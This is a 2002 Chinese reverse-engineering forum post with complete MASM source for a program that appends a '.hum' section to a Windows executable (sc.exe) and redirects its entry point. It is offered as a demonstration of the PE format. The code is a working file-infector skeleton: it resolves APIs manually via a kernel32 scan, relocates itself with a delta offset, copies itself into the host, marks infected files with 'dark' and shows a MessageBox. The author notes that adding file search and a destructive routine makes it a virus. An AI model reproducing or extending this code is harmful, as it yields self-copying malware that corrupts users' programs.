用冰天雪地的一個軟體發現居然有版權資訊,呵呵,這次我自己寫個玩玩...喜歡asm的朋友可以看看 (15千字)

看雪資料發表於2002-03-12

閒來寫了個修改PE的小程式,主要是演示和實踐PE操作和重定位的概念,實在沒事情的時候,可以看看,你將會看到PE檔案實際上很簡單!當然,首先得作好被我的垃圾程式碼掃了雅興的準備.這裡利用的是我前面介紹的方法的手動查詢API的方法.這個東西修改PE並在最後加上一節,節名'.hum',被附加程式啟動前會顯示一個MsgBox,以顯示一些資訊,你可以用來給自己破的軟體來一個所謂的版權資訊(我最痛恨的就是....這個!煩),當然也可以執行其他一些操作,實際上,再加上檔案搜尋功能和破壞例程,這就將是一個最簡單的病毒....


    這個例子沒有最佳化,也沒有安排好結構,有興趣的湊合著看吧,另外還有一些冗餘,沒有興趣整理了.
    編譯要加入/section:.text,RWE選項.預設操作是對同目錄下的sc.exe(heh..,my starcraft).
    .記住,PE檔案實際上是很簡單的,只要你耐心看下去.
注:雖然用了Virus字樣,但不是病毒...

.586
.model flat, stdcall
option casemap :none  ; case sensitive
include c:\hd\hd.h
include c:\hd\mac.h

;;--------------

GetApiA        proto    :DWORD,:DWORD

;;--------------
    .CODE
VirusLen        =  vEnd-vBegin                ;Virus 長度
vBegin:
;-----------------------------------------
include s_api.asm                ;查詢需要的api地址
;-----------------------------------------


desfile        db "sc.exe",0
fsize          dd ?
hfile          dd ?
hMap            dd ?
pMem            dd ?
;-----------------------------------------
pe_Header      dd ?
sec_align      dd ?
file_align      dd ?
newEip          dd ?
oldEip          dd ?
inc_size        dd ?
oldEnd          dd ?
;-----------------------------------------

sMessageBoxA                            db "MessageBoxA",0

aMessageBoxA                    dd 0

;;臨時變數...
sztit                  db "By Hume,2002",0
szMsg0                  db "Hey,Hope U enjoy it!",0
CopyRight              db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah
                        db "        Thx for using it!",0dh,0ah
                        db "Contact: Humewen@21cn.com",0dh,0ah
                        db "        humeasm.yeah.net",0dh,0ah
                        db "The add Code SiZe:(heX)"
                       
                       

val                    dd 0,0,0,0
;;-----------------------------------------

__Start:
       
        call    _gd
_gd: 
        pop    ebp                            ;得到delta地址
        sub    ebp,offset _gd                        ;因為在其他程式中基址可能不是預設的所以需要重定位
        mov    dword ptr [ebp+appBase],ebp    ;呵呵仔細想想
       
    mov    eax,[esp]                      ;返回地址
        xor    edx,edx
getK32Base:
        dec    eax                            ;逐位元組比較驗證
        mov    dx,word  ptr [eax+IMAGE_DOS_HEADER.e_lfanew]  ;就是ecx+3ch
        test    dx,0f000h                      ;Dos Header+stub不可能太大,超過4096byte
        jnz    getK32Base                      ;加速檢驗
        cmp    eax,dword ptr [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
        jnz    getK32Base                      ;看Image_Base值是否等於ecx即模組起始值,
        mov    [ebp+k32Base],eax              ;如果是,就認為找到kernel32的Base值
       
        lea    edi,[ebp+aGetModuleHandle]
        lea    esi,[ebp+lpApiAddrs]
lop_get:
        lodsd
        cmp    eax,0
        jz      End_Get
        add    eax,ebp
        push    eax
        push    dword ptr [ebp+k32Base]
        call    GetApiA                       
        stosd
        jmp    lop_get                          ;獲得api地址,參見s_api檔案                     

End_Get:
        call    my_infect


        include dislen.asm
        ;-----------------------------------------
CouldNotInfect:

__where:                                       
        xor    eax,eax                ;判斷是否是已經附加,標誌'dark'
        push    eax
        call    [ebp+aGetModuleHandle]
        mov    esi,eax
        add    esi,[esi+3ch]  ;->esi->程式本身的Pe_header
        cmp    dword ptr [esi+8],'dark'
        je      jmp_oep

        jmp    __xit                  ;退出啟動程式
jmp_oep:
        add    eax,[ebp+oldEip]       
        jmp    eax                    ;跳到宿主程式的入口點


my_infect:                              ;感染部分,檔案讀寫操作,Pe檔案修改參見modipe.asm檔案
        xor    eax,eax
        push    eax
        push    eax
        push    OPEN_EXISTING
        push    eax
        push    eax
        push    GENERIC_READ+GENERIC_WRITE
        lea    eax,[ebp+desfile]
        push    eax
        call    [ebp+aCreateFile]                    ;開啟目標檔案
        inc    eax
        je      __Err

        dec    eax
        mov    [ebp+hfile],eax
       
        push    eax

        sub    ebx,ebx
        push    ebx
        push    eax                    ;得到檔案大小
        call    [ebp+aGetFileSize]
        inc    eax
        je      __sclosefile
        dec    eax
        mov    [ebp+fsize],eax
        xchg    eax,ecx
        add    ecx,1000h              ;檔案大小增加...4096
        pop    eax                                 

        xor    ebx,ebx                              ;建立對映檔案
        push    ebx
        push    ecx            ;檔案大小等於原大小+Vsize
        push    ebx           
        push    PAGE_READWRITE
        push    ebx
        push    eax
        call    [ebp+aCreateFileMapping]
        test    eax,eax
        je      __sclosefile
        mov    [ebp+hMap],eax                      ;建立成功否?
       
        xor    ebx,ebx
        push    ebx
        push    ebx
        push    ebx
        push    FILE_MAP_WRITE    
        push    eax
        call    [ebp+aMapViewOfFile]
        test    eax,eax
        je      __sclosemap                          ; 對映檔案,是否成功?
        mov    [ebp+pMem],eax
        ;--------------------------------------------
        ; the following is modifying part,add new section
        ;--------------------------------------------
        include modipe.asm

__sunview:
        push    [ebp+pMem]
        call    [ebp+aUnmapViewOfFile]
__sclosemap:
        push    [ebp+hMap]
        call    [ebp+aCloseHandle]
__sclosefile:
        push    [ebp+hfile]
        call    [ebp+aCloseHandle]
__Err::
        ret
     
;-----------------------------------------
__xit: 

        push    0
        call    [ebp+aExitProcess]
vEnd: 
;-----------------------------------------

END    __Start
;;==============================================
;;s_api.asm
;;手動查詢api部分

K32_api_retrieve        proc    Base:DWORD ,sApi:DWORD

        push    edx                    ;儲存edx   
        xor    eax,eax                ;此時esi=sApi
Next_Api:                              ;edi=AddressOfNames
        mov    esi,sApi
        xor    edx,edx
        dec    edx
Match_Api_name:
        movzx  ebx,byte  ptr [esi]
        inc    esi
        cmp    ebx,0
        je      foundit

        inc    edx

        push    eax
        mov    eax,[edi+eax*4]        ;AddressOfNames的指標,遞增
        add    eax,Base                ;注意是RVA,一定要加Base值
        cmp    bl,byte  ptr [eax+edx]  ;逐字元比較 
        pop    eax
        je      Match_Api_name          ;繼續搜尋
        inc    eax                    ;不匹配,下一個api
        loop    Next_Api
no_exist:
        pop    edx                    ;若全部搜完,即未存在
        xor    eax,eax
        ret
                               
foundit:
        pop    edx                    ;edx=AddressOfNameOrdinals
                                  ;*2得到AddressOfNameOrdinals的指標
        movzx  eax,word  ptr [edx+eax*2] ;eax返回指向AddressOfFunctions的指標
        ret
K32_api_retrieve        endp
;-----------------------------------------

GetApiA        proc    Base:DWORD,sApi:DWORD
        local    ADDRofFun:DWORD
        pushad
        mov    esi,Base
        mov    eax,esi
        mov    ebx,eax
        mov    ecx,eax
        mov    edx,eax
        mov    edi,eax                            ;all is Base!

        add    ecx,[ecx+3ch]                      ;現在esi=off PE_HEADER                                                                         

        add    esi,[ecx+78h]                      ;得到esi=IMAGE_EXPORT_DIRECTORY入口                             
                                                   
       
        add    eax,[esi+1ch]                  ;eax=AddressOfFunctions的地址
        mov    ADDRofFun,eax
                                               
        mov    ecx,[esi+18h]                  ;ecx=NumberOfNames

        add    edx,[esi+24h]                  ;edx=AddressOfNameOrdinals

        add    edi,[esi+20h]                  ;esi=AddressOfNames

        invoke    K32_api_retrieve,Base,sApi

        mov    ebx,ADDRofFun
        mov    eax,[ebx+eax*4]                ;要*4才得到偏移

        add    eax,Base                        ;加上Base!
        mov    [esp+7*4],eax                  ;eax返回api地址
        popad
        ret
GetApiA        endp

u32                    db "User32.dll",0
k32                    db "Kernel32.dll",0

appBase        dd ?
k32Base        dd ?
;-----------------------------------------apis needed

lpApiAddrs      label  near
                dd      offset sGetModuleHandle
                dd      offset sGetProcAddress
                dd      offset sLoadLibrary
                dd      offset sCreateFile
                dd      offset sCreateFileMapping
                dd      offset sMapViewOfFile
                dd      offset sUnmapViewOfFile
                dd      offset sCloseHandle
                dd      offset sGetFileSize
                dd      offset sSetEndOfFile
                dd      offset sSetFilePointer

                dd      offset sExitProcess
               
                dd      0,0
               

sGetModuleHandle        db "GetModuleHandleA",0
sGetProcAddress        db "GetProcAddress",0
sLoadLibrary            db "LoadLibraryA",0
sCreateFile            db "CreateFileA",0
sCreateFileMapping      db "CreateFileMappingA",0
sMapViewOfFile          db "MapViewOfFile",0
sUnmapViewOfFile        db "UnmapViewOfFile",0
sCloseHandle            db "CloseHandle",0
sGetFileSize            db "GetFileSize",0
sSetFilePointer        db "SetFilePointer",0
sSetEndOfFile          db "SetEndOfFile",0

sExitProcess            db "ExitProcess",0


 
aGetModuleHandle                dd 0
aGetProcAddress                dd 0
aLoadLibrary                    dd 0
aCreateFile                    dd 0
aCreateFileMapping              dd 0
aMapViewOfFile                  dd 0
aUnmapViewOfFile                dd 0
aCloseHandle                    dd 0
aGetFileSize                    dd 0
aSetFilePointer                dd 0
aSetEndOfFile                  dd 0

aExitProcess                    dd 0
;-----------------------------------------
;;========================modipe.asm=================
        ;修改pe,新增節,實現傳染功能

        xchg    eax,esi
        cmp    word  ptr [esi],'ZM'
        jne    CouldNotInfect
        add    esi,[esi+3ch]  ;指向PE_HEADER
        cmp    word  ptr [esi],'EP'
        jne    CouldNotInfect  ;是否是PE,否則不感染
        cmp    dword ptr [esi+8],'dark'
        je      CouldNotInfect
        mov    [ebp+pe_Header],esi  ;儲存pe_Header指標

        mov    ecx,[esi+74h]  ;得到directory的數目
        imul    ecx,ecx,8

        lea    eax,[ecx+esi+78h]  ;data directory  eax->節表起始地址
        movzx  ecx,word  ptr [esi+6h]  ;節數目
        imul    ecx,ecx,28h            ;得到所有節表的大小
        add    eax,ecx                ;節結尾...
        xchg    eax,esi                ;eax->Pe_header,esi->最後節開始偏移

;;**************************
;;新增如下結構:
;;name .hum
;;VirtualSize==原size+VirSize
;;VirtualAddress=
;;SizeOfRawData 對齊
;;PointerToRawData
;;PointerToRelocations dd 0
;;PointerToLinenumbers dd ? 
;;NumberOfRelocations dw  ? 
;;NumberOfLinenumbers dw  ?
;;Characteristics      dd ?
;;**************************
        mov    dword ptr [esi],'muh.'  ;節名.hum
        mov    dword ptr [esi+8],VirusLen ;實際大小
     
                                        ;計算VirtualSize和V.addr
        mov    ebx,[eax+38h]          ;SectionAlignment
        mov    [ebp+sec_align],ebx
        mov    edi,[eax+3ch]          ;file align
        mov    [ebp+file_align],edi
       
        mov    ecx,[esi-40+0ch]        ;上一節的V.addr
        mov    eax,[esi-40+8]          ;上一節的實際大小

        xor    edx,edx
        div    ebx                    ;除以節對齊
        test    edx,edx
        je    @@@1
        inc    eax
@@@1:
        mul    ebx                    ;對齊後的節大小
        add    eax,ecx                ;加上V.addr就是新節的起始V.addr
        mov    [esi+0ch],eax          ;儲存新section偏移RVA
        add    eax,__Start-vBegin
        mov    [ebp+newEip],eax        ;計算新的eip

        mov    dword ptr [esi+24h],0E0000020h    ;屬性

        mov    eax,VirusLen            ;計算SizeOfRawData的大小
        cdq
        div    edi                    ;節的檔案對齊
        je      @@@2
        inc    eax
@@@2:
        mul    edi
        mov    dword ptr [esi+10h],eax ;儲存節對齊檔案的大小

        mov    eax,[esi-40+14h]
        add    eax,[esi-40+10h]
       
        mov    [esi+14h],eax          ;PointerToRawData更新
               
        mov    [ebp+oldEnd],eax      ;最後檔案增加到...?

       
        mov    eax,[ebp+pe_Header]
        inc    word  ptr [eax+6h]      ;更新節數目
        mov    ebx,[eax+28h]          ;eip指標偏移
        mov    [ebp+oldEip],ebx        ;儲存老指標
        mov    ebx,[ebp+newEip]
        mov    [eax+28h],ebx          ;更新指標值

        ;comment $
        mov    ebx,[eax+50h]          ;更新ImageSize
        add    ebx,VirusLen
        mov    ecx,[ebp+sec_align]
        xor    edx,edx
        xchg    eax,ebx        ;eax和ebx交換...
        cdq
        div    ecx
        test    edx,edx
        je      @@@3
        inc    eax
@@@3:
        mul    ecx
        xchg    eax,ebx        ;還原  eax->pe_Header
        mov    [eax+50h],ebx          ;保更新後的Image_Size大小
        ;$
        mov    dword ptr [eax+8],'dark'
        cld                      ;寫入
        mov    ecx,VirusLen
        mov    edi,[ebp+oldEnd]
        add    edi,[ebp+pMem]
        lea    esi,[ebp+vBegin]
        rep    movsb                  ;寫入檔案,all is OK!
       
        xor    eax,eax
        sub    edi,[ebp+pMem]

        push    FILE_BEGIN
        push    eax
        push    edi
        push    [ebp+hfile]
        call    [ebp+aSetFilePointer]

        push    [ebp+hfile]
        call    [ebp+aSetEndOfFile]
;============================disLen.asm
      lea    eax,[ebp+u32]
        push    eax
        call    dword ptr [ebp+aLoadLibrary]
        test    eax,eax
        jnz    @g1     
@g1:
       
        lea    EDX,[EBP+sMessageBoxA]
        push    edx
        push    eax
        mov    eax,dword ptr [ebp+aGetProcAddress]
        call    eax
        mov    [ebp+aMessageBoxA],eax
       

        ;-----------------------------------------
        mov    ebx,VirusLen
        mov    ecx,8
        cld
        lea    edi,[ebp+val]
L1:
        rol    ebx,4
        call    binToAscii
        loop    L1

        push    40h+1000h
        lea    eax,[ebp+sztit]
        push    eax
        lea    eax,[ebp+CopyRight]
        push    eax
        push    0
        call    [ebp+aMessageBoxA]

        jmp    __where
;-----------------------------------------

binToAscii    proc  near
        mov    eax,ebx
        and    eax,0fh
        add    al,30h
        cmp    al,39h
    jbe    @f
        add    al,7
       
    @@:
        stosb
        ret
binToAscii    endp
;----------------------------over-----by hume

相關文章